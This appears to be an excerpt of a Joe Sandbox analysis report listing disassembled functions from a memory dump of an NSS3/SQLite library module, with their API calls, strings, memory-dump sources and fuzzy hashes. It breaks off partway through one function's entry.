Opcode Fuzzy Hash: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction Fuzzy Hash: 5FC12571B0A2059BDB04CF65CC84BEAB7B4FF4D308F14413AE9099BA51E331E955CBA9

Function 6C5DECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5DEF98

Strings

%s at line %d of [%.10s], xrefs: 6C5DF492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DF483
database corruption, xrefs: 6C5DF48D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction ID: 1338e076873cfff932da32471582f82806b0588efc20b7d9c458b78af9907f59
Opcode Fuzzy Hash: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction Fuzzy Hash: F162F270A043458FDB04CF6CCC44B9ABBB1AF45318F1A469DD8465BB92D771F886CB98

Function 6C67FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C67FD06

Part of subcall function 6C67F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C67F696
Part of subcall function 6C67F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C67F789
Part of subcall function 6C67F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C67F796
Part of subcall function 6C67F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C67F79F
Part of subcall function 6C67F670: SECITEM_DupItem_Util.NSS3 ref: 6C67F7F0

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FDAD

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FE00

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Part of subcall function 6C69E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C69E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C67FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C67FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C67FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C680007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C680029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C680044

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction ID: b990af6b15b6ac1fd24d98cf0d0623487ffe832766da8b78b6047aafeebbd8ae
Opcode Fuzzy Hash: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction Fuzzy Hash: 20B1C571504301AFE314CF29C840E6AB7E5FF89308F158A2DE95987A41EB70E945CBA6

Function 6C677D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C677DDC

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C677DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C677F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C677F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C677F98
PK11_FreeSymKey.NSS3(?), ref: 6C677FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C677FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C678000

Part of subcall function 6C699430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C677F0C,?,00000000,00000000,00000000,?), ref: 6C69943B
Part of subcall function 6C699430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C69946B
Part of subcall function 6C699430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C699546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C678110
PK11_FreeSymKey.NSS3(00000000), ref: 6C67811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C67822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C67823C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction ID: 542c96c9b8b8a6a6398a678c1cf8716156fc3b1d7e938fcd7c3dfba8fa4d25ff
Opcode Fuzzy Hash: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction Fuzzy Hash: 41C16DB1D002199BEB21CF24CC44BEAB7B8EB09308F0085E5E919B6651E7319E85CFA5

Function 6C5EAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB0A2
CloseHandle.KERNEL32(?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?,?,?), ref: 6C5EB100
sqlite3_free.NSS3(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB12D

Part of subcall function 6C5D9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5EC6FD,?,?,?,?,6C63F965,00000000), ref: 6C5D9F0E
Part of subcall function 6C5D9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C63F965,00000000), ref: 6C5D9F5D

Strings

`vl, xrefs: 6C5EB0DF

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `vl
API String ID: 3155957115-2789490299
Opcode ID: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction ID: 1f079da992d96c6292bd472e2e837e70d05ca1491dd5efe13bca217fb5519648
Opcode Fuzzy Hash: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction Fuzzy Hash: F591CEB4A043068FDB04DF79DC84A6BBBB1FF49309F244A2DE46697A50EB31E840CB55

Function 6C680EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C680F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C680FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C681006
PK11_FreeSymKey.NSS3(?), ref: 6C68101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C681033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C681048
memcpy.VCRUNTIME140(?,?,?), ref: 6C68108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C68112E

Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815B8
Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815C1
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68162E
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C681637

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction ID: 95a798cc19985e93efad62055b12a8c0e60b08f783d87ea23fae4b9588c79c78
Opcode Fuzzy Hash: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction Fuzzy Hash: 9971D2B1E012058FDB00CFA5CD84AAAB7F4BF44318F14862DE92997B11EB71D945CBA9

Function 6C6A1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A241C

Strings

token, xrefs: 6C6A1F2C
serial, xrefs: 6C6A22A2
manufacturer, xrefs: 6C6A2179
model, xrefs: 6C6A23CB, 6C6A23EC

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction ID: 129f8d7a90af96d4669e3ad1971f843630a0ff160582bb01c20f31e91ab1252c
Opcode Fuzzy Hash: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction Fuzzy Hash: DA02E3A2D4C7C85EF73186B2C44C7D77BE09B46328F4C166DCADE46A83C3A85D4A8359

Function 6C5E0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5E103E
EnterCriticalSection.KERNEL32(?), ref: 6C5E1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5E1190
sqlite3_free.NSS3(00000000), ref: 6C5E1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5E126E
sqlite3_free.NSS3(?), ref: 6C5E127F

Strings

Pvl, xrefs: 6C5E109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5E1267
winAccess, xrefs: 6C5E129B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pvl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1044067139
Opcode ID: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction ID: 6ccc7dfa9a04c45e61262b8c38f5000a6acb006276e5f16995ce397449083123
Opcode Fuzzy Hash: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction Fuzzy Hash: BB711B327052059BEB08DF65EC99E6F3376FB8A314F140639E91587A81DB30D901C796

Function 6C6A6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C60
PR_ExplodeTime.NSS3(00000000,6C651C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C94

Strings

gfff, xrefs: 6C6A6D30
gfff, xrefs: 6C6A6D66
gfff, xrefs: 6C6A6D9C
gfff, xrefs: 6C6A6CF5
gfff, xrefs: 6C6A6CFD

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction ID: bfa5ba7393045762ceca7a11ea0f79cdad9d0bbaec1f4d2ca55331b14f21ce55
Opcode Fuzzy Hash: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction Fuzzy Hash: 2D513B72B016494FC718CDADDC526DEBBDAABA4310F48C23AE442DB781D678E907C751

Function 6C720F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C721027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C721353

Strings

zeroblob(%d), xrefs: 6C721223
NULL, xrefs: 6C72119E
-- , xrefs: 6C720FF5
'%.*q', xrefs: 6C721217, 6C721292
$, xrefs: 6C7212A0
%02x, xrefs: 6C7212F6
%lld, xrefs: 6C72114B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction ID: 8d4b4602e6f5adf40dce6319e0dd2786b8ed0010a3d3955245da7eeca769723a
Opcode Fuzzy Hash: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction Fuzzy Hash: A4E1AF71A083809FD714CF18C580A6BBBF2BF86348F14896DF98587B51E776E949CB42

Function 6C728FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C728FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C72915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729209

Strings

UUUU, xrefs: 6C729255
3333, xrefs: 6C72925E

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction ID: ca43001c1552c6310601ab2ec2131d25f488031a765146947e29eabf5207f86f
Opcode Fuzzy Hash: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction Fuzzy Hash: EAA1AF72E001199BDB18CB69CD94BAEB7B5BF48324F0D4179E905A7741E73AEC41CBA0

Function 6C6BBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C6BBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C6BBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C6BBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C6BBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C6BBE1E

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction ID: 684709cdf9758d2a7de0aa46fab8fd89bce89715d029ac9f91987e134704ab9a
Opcode Fuzzy Hash: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction Fuzzy Hash: 6A21E1B6E0028957FB1096529D82B8F36B49BD278DF080028F916BE651E330D43983AE

Function 6C768D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B14E4,6C71CC70), ref: 6C768D47
PR_GetCurrentThread.NSS3 ref: 6C768D98

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C768E7B
htons.WSOCK32(?), ref: 6C768EDB
PR_GetCurrentThread.NSS3 ref: 6C768F99
